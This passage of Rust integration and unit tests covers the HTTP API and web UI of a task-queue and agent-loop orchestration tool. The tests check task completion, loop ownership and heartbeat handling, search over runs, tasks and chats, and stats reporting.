17621 node: "implement".to_owned(),
17622 },
17623 );
17624 task.runs.push("20260101-000000-b455".to_owned());
17625 task.runs.push("20260101-000000-9af4".to_owned());
17626 queue.put(&mut task).expect("file the task");
17627 let created_at = task.created_at;
17628
17629 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17630 assert_eq!(done.status, 200, "{}", done.body);
17631 assert_eq!(done.json()["status_str"], "done");
17632
17633 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
17634 assert_eq!(
17635 reloaded.runs,
17636 ["20260101-000000-b455", "20260101-000000-9af4"]
17637 );
17638 assert_eq!(
17639 reloaded.source,
17640 Source::Agent {
17641 run: "20260101-000000-b455".to_owned(),
17642 node: "implement".to_owned(),
17643 }
17644 );
17645 assert_eq!(reloaded.created_at, created_at);
17646 }
17647
17648 #[tokio::test]
17649 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
17650 let f = Fixture::start().await;
17655 let queue = f.queue();
17656 let mut task = Task::new(
17657 "landed while held".to_owned(),
17658 "x".to_owned(),
17659 PathBuf::from("/repo/magi"),
17660 Source::Human,
17661 );
17662 task.hold_manual(Some("waiting on 3ed9".to_owned()));
17663 queue.put(&mut task).expect("file the held task");
17664
17665 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17666 assert_eq!(done.status, 200, "{}", done.body);
17667 assert_eq!(done.json()["status_str"], "done");
17668 assert!(
17669 done.json()["hold_reason"].is_null(),
17670 "a done task cannot still be waiting on something: {}",
17671 done.body
17672 );
17673 }
17674
17675 #[tokio::test]
17676 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
17677 let f = Fixture::start().await;
17682 let queue = f.queue();
17683 let runs = f.runs();
17684 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
17685 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
17689
17690 let mut task = Task::new(
17691 "landed by hand".to_owned(),
17692 "x".to_owned(),
17693 PathBuf::from("/repo/magi"),
17694 Source::Human,
17695 );
17696 task.runs.push("20260101-000000-doa1".to_owned());
17697 task.runs.push("20260101-000000-doa2".to_owned());
17698 queue.put(&mut task).expect("file the task");
17699
17700 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17701 assert_eq!(done.status, 200, "{}", done.body);
17702
17703 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
17704 .expect("run still on disk under this fixture's own home");
17705 assert_eq!(
17706 reloaded_run.status,
17707 RunStatus::Superseded,
17708 "closing the task by hand must relabel the earlier blocked attempt exactly \
17709 like the loop's own settle path does"
17710 );
17711 }
17712
17713 #[tokio::test]
17714 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
17715 let f = Fixture::start().await;
17720 let queue = f.queue();
17721 let runs = f.runs();
17722 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
17723 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
17724
17725 let mut task = Task::new(
17726 "closed with nothing actually landed".to_owned(),
17727 "x".to_owned(),
17728 PathBuf::from("/repo/magi"),
17729 Source::Human,
17730 );
17731 task.runs.push("20260101-000000-dob1".to_owned());
17732 task.runs.push("20260101-000000-dob2".to_owned());
17733 queue.put(&mut task).expect("file the task");
17734
17735 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17736 assert_eq!(done.status, 200, "{}", done.body);
17737
17738 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
17739 .expect("run still on disk under this fixture's own home");
17740 assert_eq!(
17741 reloaded_run.status,
17742 RunStatus::Blocked,
17743 "the last recorded attempt never landed, so the earlier one must not be \
17744 relabelled as superseded by it"
17745 );
17746 }
17747
17748 #[tokio::test]
17749 async fn unknown_ids_are_json_not_found_on_both_stores() {
17750 let f = Fixture::start().await;
17751
17752 let run = f.get("/api/runs/nosuchrun").await;
17753 let task = f.post("/api/queue/nosuchtask/hold", None).await;
17754
17755 assert_eq!(run.status, 404);
17756 assert_eq!(task.status, 404);
17757 assert!(
17758 run.json()["error"]
17759 .as_str()
17760 .is_some_and(|e| e.contains("run")),
17761 "the error names what was not found: {}",
17762 run.body
17763 );
17764 assert!(
17765 task.json()["error"]
17766 .as_str()
17767 .is_some_and(|e| e.contains("task")),
17768 "the error names what was not found: {}",
17769 task.body
17770 );
17771 }
17772
17773 #[tokio::test]
17774 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17775 let f = Fixture::start().await;
17776
17777 let missing = f.get("/api/health").await.json();
17778 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17779
17780 write_daemon(
17781 f.home.path(),
17782 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17783 );
17784 let stale = f.get("/api/health").await.json();
17785 assert_eq!(
17786 stale["daemon"]["running"], false,
17787 "a minute without a heartbeat is a dead daemon, not a busy one"
17788 );
17789 assert!(
17790 stale["daemon"]["stale_for_secs"]
17791 .as_i64()
17792 .is_some_and(|s| s >= 55),
17793 "staleness is reported so the UI can say how long: {stale}"
17794 );
17795
17796 write_daemon(f.home.path(), Timestamp::now());
17797 let fresh = f.get("/api/health").await.json();
17798 assert_eq!(fresh["daemon"]["running"], true);
17799 assert_eq!(fresh["daemon"]["idle"], false);
17800 assert_eq!(fresh["daemon"]["pid"], 4242);
17801 assert_eq!(fresh["daemon"]["completed"], 7);
17802 assert_eq!(
17803 fresh["daemon"]["current"][0]["task"],
17804 "20260902-140501-aaaa"
17805 );
17806 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17807 }
17808
17809 #[tokio::test]
17810 async fn the_loop_is_not_running_until_something_starts_it() {
17811 let f = Fixture::start().await;
17812
17813 let view = f.get("/api/loop").await.json();
17814 assert_eq!(view["running"], false);
17815 assert_eq!(
17816 view["owned"], false,
17817 "nobody owns a loop that does not exist: {view}"
17818 );
17819 assert_eq!(view["stopping"], false);
17820 assert_eq!(view["last_error"], Value::Null);
17821 assert_eq!(view["daemon"]["running"], false);
17822 assert_eq!(
17823 view["repo"], "/repo/magi",
17824 "the repository a start would use, named before it is started"
17825 );
17826 }
17827
17828 #[tokio::test]
17829 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17830 let f = Fixture::start().await;
17831
17832 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17833 assert_eq!(res.status, 200, "{}", res.body);
17834 let view = res.json();
17835 assert_eq!(view["running"], true);
17836 assert_eq!(
17837 view["owned"], true,
17838 "the loop the UI started is the UI's own to stop: {view}"
17839 );
17840 assert_eq!(
17841 view["merge"],
17842 Value::Null,
17843 "no override was given, so each repository's own config decides"
17844 );
17845
17846 let health = f.get("/api/health").await.json();
17850 assert_eq!(health["loop"]["running"], true, "{health}");
17851 assert_eq!(health["loop"]["owned"], true, "{health}");
17852
17853 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17854 }
17855
17856 #[tokio::test]
17857 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17858 let f = Fixture::start().await;
17859 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17860 assert_eq!(first.status, 200, "{}", first.body);
17861
17862 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17863 assert_eq!(
17864 again.status, 409,
17865 "two loops on one queue race for the same claims: {}",
17866 again.body
17867 );
17868 assert!(
17869 again.json()["error"]
17870 .as_str()
17871 .is_some_and(|e| e.contains("already running the loop")),
17872 "the refusal has to say why: {}",
17873 again.body
17874 );
17875 assert_eq!(
17876 f.get("/api/loop").await.json()["running"],
17877 true,
17878 "and the loop that was already running is untouched by it"
17879 );
17880
17881 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17882 }
17883
17884 #[tokio::test]
17885 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17886 let f = Fixture::start().await;
17887 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17888
17889 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17890 assert_eq!(
17891 res.status, 200,
17892 "the answer must not wait for the loop: a run in flight is tens of \
17893 minutes and the operator is holding a phone: {}",
17894 res.body
17895 );
17896
17897 let view = settled(&f, |v| v["running"] == false).await;
17898 assert_eq!(view["owned"], false);
17899 assert_eq!(
17900 view["stopping"], false,
17901 "a loop that has stopped is not still stopping: {view}"
17902 );
17903 assert_eq!(
17904 view["last_error"],
17905 Value::Null,
17906 "a loop that was asked to stop did not fail: {view}"
17907 );
17908
17909 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17912 assert_eq!(twice.status, 200, "{}", twice.body);
17913 }
17914
17915 #[tokio::test]
17916 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17917 let f = Fixture::start().await;
17918 write_daemon(f.home.path(), Timestamp::now());
17921
17922 let view = f.get("/api/loop").await.json();
17923 assert_eq!(view["running"], false, "not in this process: {view}");
17924 assert_eq!(view["owned"], false, "and not this process's to control");
17925 assert_eq!(
17926 view["daemon"]["running"], true,
17927 "but a loop is alive somewhere, which is what the UI must say"
17928 );
17929 assert_eq!(view["daemon"]["pid"], 4242);
17930
17931 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17932 let res = f.post("/api/loop", Some(body)).await;
17933 assert_eq!(
17934 res.status, 409,
17935 "neither button may pretend to work on someone else's loop: {}",
17936 res.body
17937 );
17938 assert!(
17939 res.json()["error"]
17940 .as_str()
17941 .is_some_and(|e| e.contains("4242")),
17942 "the refusal has to name the process the operator must go to: {}",
17943 res.body
17944 );
17945 }
17946 assert_eq!(
17947 f.get("/api/loop").await.json()["running"],
17948 false,
17949 "and the refusal started nothing"
17950 );
17951 }
17952
17953 #[tokio::test]
17954 async fn a_stale_status_file_is_not_a_foreign_owner() {
17955 let f = Fixture::start().await;
17956 write_daemon(
17957 f.home.path(),
17958 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17959 );
17960
17961 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17962 assert_eq!(
17963 res.status, 200,
17964 "a daemon killed a minute ago must not lock the loop out of its \
17965 own home for good: {}",
17966 res.body
17967 );
17968 assert_eq!(res.json()["running"], true);
17969
17970 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17971 }
17972
17973 #[tokio::test]
17974 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
17975 let f = Fixture::start().await;
17976 let before = f.get("/api/health").await.json()["loop_rev"]
17977 .as_u64()
17978 .expect("a loop revision");
17979
17980 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17981
17982 let after = f.get("/api/health").await.json()["loop_rev"]
17983 .as_u64()
17984 .expect("a loop revision");
17985 assert!(
17986 after > before,
17987 "the loop is in-process state, so this counter is the only thing \
17988 that tells a second device the first one started it: {before} -> \
17989 {after}"
17990 );
17991
17992 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17993 }
17994
17995 #[tokio::test]
17996 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
17997 let f = Fixture::with_loop(launch_broken).await;
17998
17999 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18000 assert_eq!(
18001 res.status, 200,
18002 "starting it is not the failure: {}",
18003 res.body
18004 );
18005
18006 let view = settled(&f, |v| v["last_error"].is_string()).await;
18007 assert_eq!(
18008 view["running"], false,
18009 "a loop that died must not read as running, or the operator has \
18010 nothing to press: {view}"
18011 );
18012 assert_eq!(view["owned"], false);
18013 assert!(
18014 view["last_error"]
18015 .as_str()
18016 .is_some_and(|e| e.contains("read-only file system")),
18017 "the phone is where a loop that died at 3am is visible: {view}"
18018 );
18019
18020 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18023 assert_eq!(again.status, 200, "{}", again.body);
18024 assert!(
18025 again.json()["last_error"]
18026 .as_str()
18027 .is_none_or(|e| !e.contains("read-only file system")),
18028 "a fresh start does not keep showing why the last one died: {}",
18029 again.body
18030 );
18031 }
18032
18033 #[tokio::test]
18034 async fn a_newer_daemon_status_file_still_renders() {
18035 let f = Fixture::start().await;
18036 std::fs::write(
18039 f.home.path().join("daemon.json"),
18040 serde_json::json!({
18041 "schema": 2,
18042 "updated_at": Timestamp::now().to_string(),
18043 "idle": true,
18044 "surprise": { "nested": [1, 2, 3] },
18045 })
18046 .to_string(),
18047 )
18048 .expect("write daemon.json");
18049
18050 let health = f.get("/api/health").await;
18051
18052 assert_eq!(health.status, 200);
18053 assert_eq!(health.json()["daemon"]["running"], true);
18054 }
18055
18056 #[tokio::test]
18057 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
18058 let f = Fixture::start().await;
18059 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18060 let broken = f.runs().join("20260902-140502-bad");
18061 std::fs::create_dir_all(&broken).expect("run dir");
18062 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18063
18064 let list = f.get("/api/runs").await;
18065 let detail = f.get("/api/runs/20260902-140502-bad").await;
18066
18067 assert_eq!(list.status, 200);
18068 let listed = list.json();
18069 let ids: Vec<&str> = listed
18070 .as_array()
18071 .expect("an array")
18072 .iter()
18073 .map(|r| r["id"].as_str().expect("an id"))
18074 .collect();
18075 assert_eq!(
18076 ids,
18077 vec!["20260902-140501-good"],
18078 "one unreadable run must not cost the operator the whole history"
18079 );
18080 assert_eq!(detail.status, 500);
18081 assert!(
18082 detail.json()["error"]
18083 .as_str()
18084 .is_some_and(|e| e.contains("run.json")),
18085 "the failure names the file to look at: {}",
18086 detail.body
18087 );
18088 let health = f.get("/api/health").await;
18092 assert_eq!(health.json()["runs_unreadable"], 1);
18093 }
18094
18095 #[tokio::test]
18097 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
18098 let f = Fixture::start().await;
18099 let runs = f.runs();
18100 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
18101 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
18102 let path = runs.join("20260902-140502-bbbb").join("run.json");
18105 let mut v: serde_json::Value =
18106 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18107 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
18108 std::fs::write(&path, v.to_string()).unwrap();
18109 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
18110 std::fs::write(
18111 runs.join("20260902-140503-cccc").join("run.json"),
18112 "{ not json",
18113 )
18114 .unwrap();
18115
18116 let res = f.get("/api/search?scope=runs&q=quokka").await;
18117 assert_eq!(res.status, 200, "{}", res.body);
18118 let v = res.json();
18119 assert_eq!(v["total"], 1, "{v}");
18120 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
18121 assert_eq!(v["hits"][0]["field"], "text");
18122 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
18123 let parts = v["hits"][0]["snippet"].as_array().unwrap();
18124 assert!(
18125 parts
18126 .iter()
18127 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
18128 "{v}"
18129 );
18130 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
18131 assert_eq!(
18132 flat, "The Quokka leaks across threads",
18133 "whitespace is collapsed"
18134 );
18135
18136 let both = f
18138 .get("/api/search?scope=runs&q=MOBILE%20quokka")
18139 .await
18140 .json();
18141 assert_eq!(both["total"], 1, "{both}");
18142 let neither = f
18143 .get("/api/search?scope=runs&q=quokka%20zebra")
18144 .await
18145 .json();
18146 assert_eq!(neither["total"], 0, "{neither}");
18147 let stmt = f
18149 .get("/api/search?scope=runs&q=mobile%20first")
18150 .await
18151 .json();
18152 assert_eq!(stmt["total"], 2, "{stmt}");
18153 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
18154 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
18155 }
18156
18157 #[test]
18158 fn snippet_ignores_terms_longer_than_the_field() {
18159 let terms = ["ok".to_owned(), "elephant".to_owned()];
18160 let parts = snippet_of("ok", &terms);
18161 assert_eq!(
18162 parts,
18163 vec![SnippetPart {
18164 text: "ok".to_owned(),
18165 hit: true
18166 }]
18167 );
18168 }
18169
18170 #[test]
18171 fn snippet_marks_matches_longer_than_the_window() {
18172 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
18173 let hit_len = |parts: &[SnippetPart]| -> usize {
18174 parts
18175 .iter()
18176 .filter(|p| p.hit)
18177 .map(|p| p.text.chars().count())
18178 .sum()
18179 };
18180 let total =
18181 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
18182
18183 let long = "a".repeat(120);
18184 let parts = snippet_of(&long, std::slice::from_ref(&long));
18185 assert!(hit_len(&parts) > 0, "{parts:?}");
18186 assert!(total(&parts) <= cap);
18187
18188 let ja = "あ".repeat(130);
18189 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
18190 assert!(hit_len(&parts) > 0, "{parts:?}");
18191 assert!(total(&parts) <= cap);
18192
18193 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
18195 let term = format!("ab{}", "c".repeat(100));
18196 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
18197 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
18198 assert!(total(&parts) <= cap);
18199
18200 let text = format!("{}z", "a".repeat(119));
18202 let parts = snippet_of(&text, &["a".repeat(120)]);
18203 assert_eq!(hit_len(&parts), 0, "{parts:?}");
18204 }
18205
18206 #[tokio::test]
18207 async fn search_caps_hits_and_snippet_length() {
18208 let f = Fixture::start().await;
18209 let runs = f.runs();
18210 for n in 0..(SEARCH_MAX_HITS + 5) {
18211 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
18212 }
18213 let v = f.get("/api/search?scope=runs&q=web").await.json();
18214 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
18215 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
18216 assert_eq!(v["truncated"], true);
18217 assert!(
18219 v["hits"]
18220 .as_array()
18221 .unwrap()
18222 .iter()
18223 .all(|h| h["run"]["status"] == "merged")
18224 );
18225
18226 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
18227 let parts = snippet_of(&long, &["needle".to_owned()]);
18228 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
18229 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
18230 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
18231 }
18232
18233 #[tokio::test]
18234 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
18235 let f = Fixture::start().await;
18236 let queue = f.queue();
18237 let mut t = Task::new(
18238 "short title".to_owned(),
18239 "line one\nthe hidden Armadillo detail".to_owned(),
18240 PathBuf::from("/repo/magi"),
18241 Source::Agent {
18242 run: "r1".to_owned(),
18243 node: "chat".to_owned(),
18244 },
18245 );
18246 t.last_error = Some("disk full on /tmp".to_owned());
18247 queue.put(&mut t).expect("file the task");
18248
18249 for (q, want) in [
18250 ("armadillo", 1),
18251 ("disk%20FULL", 1),
18252 ("chat", 1),
18253 ("queued", 1),
18254 ("short%20nothing", 0),
18255 ] {
18256 let v = f
18257 .get(&format!("/api/search?scope=tasks&q={q}"))
18258 .await
18259 .json();
18260 assert_eq!(v["total"], want, "{q}: {v}");
18261 }
18262 for bad in [
18263 "/api/search?scope=tasks&q=",
18264 "/api/search?scope=tasks&q=%20",
18265 "/api/search?scope=chats&q=",
18266 "/api/search?scope=chats&q=%20",
18267 "/api/search?scope=nope&q=a",
18268 "/api/search?q=a",
18269 ] {
18270 assert_eq!(f.get(bad).await.status, 400, "{bad}");
18271 }
18272 }
18273
18274 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
18276 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
18277 .expect("seat value");
18278 let turns: Vec<serde_json::Value> = turns
18279 .iter()
18280 .map(|(who, body)| {
18281 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
18282 })
18283 .collect();
18284 let doc = serde_json::json!({
18285 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
18286 "status": status, "turns": turns,
18287 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
18288 "seat": seat,
18289 });
18290 let dir = f.home.path().join("talks");
18291 std::fs::create_dir_all(&dir).expect("talks dir");
18292 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
18293 }
18294
18295 #[test]
18296 fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
18297 let mut talk: Talk = serde_json::from_value(serde_json::json!({
18298 "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
18299 "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
18300 "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
18301 "seat": crate::agent::SeatState::new("talk", "test", 1)
18302 })).unwrap();
18303 assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
18304 talk.title = Some(talk::ChatTitle {
18305 text: "最近の話題".into(),
18306 source: talk::TitleSource::Generated,
18307 });
18308 let doc = talk_search_doc(&talk);
18309 assert_eq!(doc["title"], "最近の話題");
18310 assert_eq!(doc["turns"][0]["operator"], "古い話題");
18311 talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
18312 assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
18313 }
18314
18315 #[tokio::test]
18316 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
18317 let f = Fixture::start().await;
18318 write_talk(
18319 &f,
18320 "20260901-000001-aaaa",
18321 "open",
18322 &[
18323 (
18324 "operator",
18325 "\n Why does the Pangolin cache expire?\nsecond line",
18326 ),
18327 ("agent", "Because the TTL is thirty seconds."),
18328 ],
18329 );
18330 write_talk(
18331 &f,
18332 "20260901-000002-bbbb",
18333 "closed",
18334 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
18335 );
18336 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
18337
18338 let search = |q: &'static str| {
18339 let f = &f;
18340 async move {
18341 f.get(&format!("/api/search?scope=chats&q={q}"))
18342 .await
18343 .json()
18344 }
18345 };
18346
18347 let v = search("PANGOLIN").await;
18348 assert_eq!(v["scope"], "chats");
18349 assert_eq!(v["total"], 1, "{v}");
18350 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
18351 assert_eq!(v["hits"][0]["field"], "title");
18352 assert_eq!(v["unreadable"], 1, "{v}");
18353 let marked: Vec<&str> = v["hits"][0]["snippet"]
18354 .as_array()
18355 .unwrap()
18356 .iter()
18357 .filter(|p| p["hit"] == true)
18358 .map(|p| p["text"].as_str().unwrap())
18359 .collect();
18360 assert_eq!(marked, ["Pangolin"]);
18361
18362 let v = search("zebra").await;
18364 assert_eq!(v["total"], 1, "{v}");
18365 assert_eq!(v["hits"][0]["field"], "agent");
18366 assert_eq!(search("pangolin%20thirty").await["total"], 1);
18368 assert_eq!(search("pangolin%20zebra").await["total"], 0);
18369 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
18371 assert_eq!(search(q).await["total"], 0, "{q}");
18372 }
18373 assert_eq!(search("second").await["hits"][0]["field"], "operator");
18375 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
18377
18378 let v = f.get("/api/search?scope=nope&q=a").await;
18379 assert_eq!(v.status, 400);
18380 assert!(
18381 v.body.contains("scope must be runs, tasks or chats"),
18382 "{}",
18383 v.body
18384 );
18385 }
18386
18387 #[test]
18388 fn a_question_card_links_a_task_id_to_the_task_page() {
18389 let start = APP_JS
18390 .find("function updateAskCard(")
18391 .expect("updateAskCard exists");
18392 let body = &APP_JS[start..];
18393 let body = &body[..body.find("\n}\n").expect("function end")];
18394 assert!(body.contains("question.run_is_task"));
18395 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
18396 assert!(body.contains("`#/runs/${question.run}`"));
18397 assert!(body.contains("\"task\" : \"run\""));
18398 }
18399
18400 #[test]
18401 fn plain_text_message_surfaces_go_through_linkify() {
18402 assert!(APP_JS.contains("function linkify("));
18403 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
18404 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
18405 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
18406 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
18407 assert!(!APP_JS.contains("innerHTML = text"));
18408 }
18409
18410 #[test]
18411 fn implementation_rate_views_keep_independent_samples() {
18412 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
18413 let a = stats::AgentStats {
18414 competitive_entered: competitive_n,
18415 competitive_wins: usize::from(competitive_n > 0),
18416 solo_entered: solo_n,
18417 solo_adopted: 2 * usize::from(solo_n > 0),
18418 ..Default::default()
18419 };
18420 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
18421 for (key, n, numerator) in [
18422 ("competitive_win_rate", competitive_n, a.competitive_wins),
18423 ("solo_adoption_rate", solo_n, a.solo_adopted),
18424 ] {
18425 if n == 0 {
18426 assert!(v[key].is_null());
18427 } else {
18428 assert_eq!(v[key]["denominator"], n);
18429 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
18430 }
18431 }
18432 }
18433 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
18434 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
18435 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
18436 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18437 }
18438
18439 #[test]
18440 fn stats_bars_share_one_id_keyed_plan() {
18441 let start = APP_JS
18442 .find("function statsBarRows(")
18443 .expect("statsBarRows exists");
18444 let body = &APP_JS[start..];
18445 let body = &body[..body.find("\n}\n").expect("function end")];
18446 assert!(body.contains("statsBarPlan(rows)"));
18447 assert!(body.contains("statsAgentTone(row.agent)"));
18448 assert!(!body.contains("candTone(i)"));
18449 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18450 for root in [
18451 "stats-agents-bars",
18452 "stats-solo-bars",
18453 "stats-reviewers-bars",
18454 ] {
18455 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
18456 }
18457 }
18458
18459 #[test]
18460 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
18461 let start = APP_JS
18462 .find("function renderStatsReviewerScatter(")
18463 .expect("renderStatsReviewerScatter exists");
18464 let body = &APP_JS[start..];
18465 let body = &body[..body.find("\n}\n").expect("function end")];
18466 assert!(body.contains("statsScatterPlan(reviewers)"));
18467 assert!(body.contains("statsAgentTone(d.agent)"));
18468 assert!(APP_JS.contains("function statsScatterPlan("));
18469 assert!(
18470 APP_JS.contains("d.submitted < STATS_LOW_N")
18471 || APP_JS.contains("r.submitted < STATS_LOW_N")
18472 );
18473 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
18474 assert!(APP_CSS.contains(".precision-scatter"));
18475 }
18476
18477 #[test]
18478 fn advisor_reflection_is_drawn_as_stacked_segments() {
18479 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
18480 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
18481 let html = include_str!("../assets/ui/index.html");
18482 assert!(html.contains("Approximate"));
18483 for label in ["reflected strongly", "faint", "no proposal"] {
18484 assert!(html.contains(label));
18485 }
18486 let css = include_str!("../assets/ui/app.css");
18487 for c in ["refl-strong", "refl-faint", "refl-absent"] {
18488 assert!(css.contains(&format!(".{c} {{")));
18489 }
18490 }
18491
18492 #[test]
18493 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
18494 assert!(APP_JS.contains("function statsDailyPlan("));
18495 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
18496 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
18497 }
18498
18499 #[test]
18500 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
18501 let start = APP_JS
18502 .find("function scheduleSearch(")
18503 .expect("scheduleSearch exists");
18504 let body = &APP_JS[start..];
18505 let body = &body[..body.find("\n}\n").expect("function end")];
18506 assert!(body.contains("s.seq += 1"));
18507 }
18508
18509 #[tokio::test]
18514 async fn stats_runs_unreadable_matches_health() {
18515 let f = Fixture::start().await;
18516 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18517 let broken = f.runs().join("20260902-140502-bad");
18518 std::fs::create_dir_all(&broken).expect("run dir");
18519 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18520
18521 let stats = f.get("/api/stats").await;
18522 let health = f.get("/api/health").await;
18523
18524 assert_eq!(stats.status, 200);
18525 assert_eq!(stats.json()["totals"]["runs"], 1);
18526 assert_eq!(stats.json()["runs_unreadable"], 1);
18527 assert_eq!(
18528 stats.json()["runs_unreadable"],
18529 health.json()["runs_unreadable"],
18530 "the dashboard and /api/health must never disagree about how many \
18531 runs could not be read"
18532 );
18533 }
18534
18535 #[tokio::test]
18536 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
18537 let f = Fixture::start().await;
18538 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18539 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
18540 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
18541
18542 let totals = &f.get("/api/stats").await.json()["totals"];
18543 assert_eq!(totals["runs"], 3);
18544 assert_eq!(totals["merged"], 1);
18545 assert_eq!(totals["stalled"], 1);
18546 assert_eq!(totals["in_progress"], 1);
